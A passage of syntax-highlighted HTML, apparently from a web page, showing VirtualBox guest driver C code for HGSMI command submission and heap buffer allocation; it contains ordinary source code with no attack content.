class=\"crayon-st\">while<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">pfHostFlags<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">u32HostFlags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">HGSMIHOSTFLAGS_COMMANDS_PENDING<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-97\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-98\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">ASMAtomicCmpXchgBool<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">fHostCmdProcessing<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-99\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-100\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">hgsmiHostCommandQueryProcess<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-101\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">ASMAtomicWriteBool<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">fHostCmdProcessing<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-102\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-103\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-104\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-105\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-106\"><span class=\"crayon-c\">\/** Detect whether HGSMI is supported by the host. *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-107\"><span class=\"crayon-e\">DECLHIDDEN<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">bool<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIIsSupported<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-108\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-109\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint16_t <\/span><span class=\"crayon-v\">DispiId<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-110\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-111\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBoxVideoCmnPortWriteUshort<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBE_DISPI_IOPORT_INDEX<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBE_DISPI_INDEX_ID<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-112\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBoxVideoCmnPortWriteUshort<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBE_DISPI_IOPORT_DATA<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBE_DISPI_ID_HGSMI<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-113\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-114\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">DispiId<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxVideoCmnPortReadUshort<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBE_DISPI_IOPORT_DATA<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-115\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-116\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">DispiId<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBE_DISPI_ID_HGSMI<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-117\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-118\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-119\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-120\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-121\"><span class=\"crayon-c\"> * Allocate and initialise a command descriptor in the guest heap for a<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-122\"><span class=\"crayon-c\"> * guest-to-host command.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-123\"><span class=\"crayon-c\"> *<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-124\"><span class=\"crayon-c\"> * @returns&nbsp;&nbsp;pointer to the descriptor&#8217;s command data buffer<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-125\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pCtx&nbsp;&nbsp;&nbsp;&nbsp; the context containing the heap to be used<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-126\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;cbData&nbsp;&nbsp; the size of the command data to go into the descriptor<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-127\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;u8Ch&nbsp;&nbsp;&nbsp;&nbsp; the HGSMI channel to be used, set to the descriptor<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-128\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;u16Op&nbsp;&nbsp;&nbsp;&nbsp;the HGSMI command to be sent, set to the descriptor<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-129\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-130\"><span class=\"crayon-e\">DECLHIDDEN<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIBufferAlloc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIGUESTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-131\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">HGSMISIZE <\/span><span class=\"crayon-v\">cbData<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-132\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint8_t <\/span><span class=\"crayon-v\">u8Ch<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-133\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint16_t <\/span><span class=\"crayon-v\">u16Op<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-134\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-135\"><span class=\"crayon-p\">#ifdef VBOX_WDDM_MINIPORT<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-136\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxSHGSMIHeapAlloc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">heapCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbData<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">u8Ch<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">u16Op<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-137\"><span class=\"crayon-p\">#else<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-138\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">HGSMIHeapAlloc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">heapCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbData<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">u8Ch<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">u16Op<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-139\"><span class=\"crayon-p\">#endif<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-140\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-141\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-142\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-143\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-144\"><span class=\"crayon-c\"> * Free a descriptor allocated by @a VBoxHGSMIBufferAlloc.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-145\"><span class=\"crayon-c\"> *<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-146\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pCtx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;the context containing the heap used<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-147\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pvBuffer&nbsp;&nbsp;the pointer returned by @a VBoxHGSMIBufferAlloc<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-148\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-149\"><span class=\"crayon-e\">DECLHIDDEN<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIBufferFree<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIGUESTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-150\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">pvBuffer<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-151\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-152\"><span class=\"crayon-p\">#ifdef VBOX_WDDM_MINIPORT<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-153\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBoxSHGSMIHeapFree<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">heapCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pvBuffer<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-154\"><span class=\"crayon-p\">#else<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-155\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">HGSMIHeapFree<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">heapCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pvBuffer<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-156\"><span class=\"crayon-p\">#endif<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-157\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-158\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-159\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-160\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-161\"><span class=\"crayon-c\"> * Submit a command descriptor allocated by @a VBoxHGSMIBufferAlloc.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-162\"><span class=\"crayon-c\"> *<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-163\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pCtx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;the context containing the heap used<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-164\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pvBuffer&nbsp;&nbsp;the pointer returned by @a VBoxHGSMIBufferAlloc<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-165\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-166\"><span class=\"crayon-e\">DECLHIDDEN<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIBufferSubmit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIGUESTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-167\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">pvBuffer<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-168\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-169\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Initialize the buffer and get the offset for port IO. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-170\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">HGSMIOFFSET <\/span><span class=\"crayon-v\">offBuffer<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">HGSMIHeapBufferOffset<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">HGSMIGUESTCMDHEAP_GET<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">heapCtx<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pvBuffer<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-171\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-172\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">Assert<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">offBuffer<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">HGSMIOFFSET_VOID<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-173\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">offBuffer<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">HGSMIOFFSET_VOID<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-174\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-175\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Submit the buffer to the host. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-176\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBoxVideoCmnPortWriteUlong<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offBuffer<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-177\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Make the compiler aware that the host has changed memory. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-178\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">ASMCompilerBarrier<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-179\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VINF_SUCCESS<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-180\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-181\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-182\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VERR_INVALID_PARAMETER<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-183\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-184\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-185\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-186\"><span class=\"crayon-c\">\/** Inform the host of the location of the host flags in VRAM via an HGSMI<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-187\"><span class=\"crayon-c\"> * command. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-188\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">vboxHGSMIReportFlagsLocation<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIGUESTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-189\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span 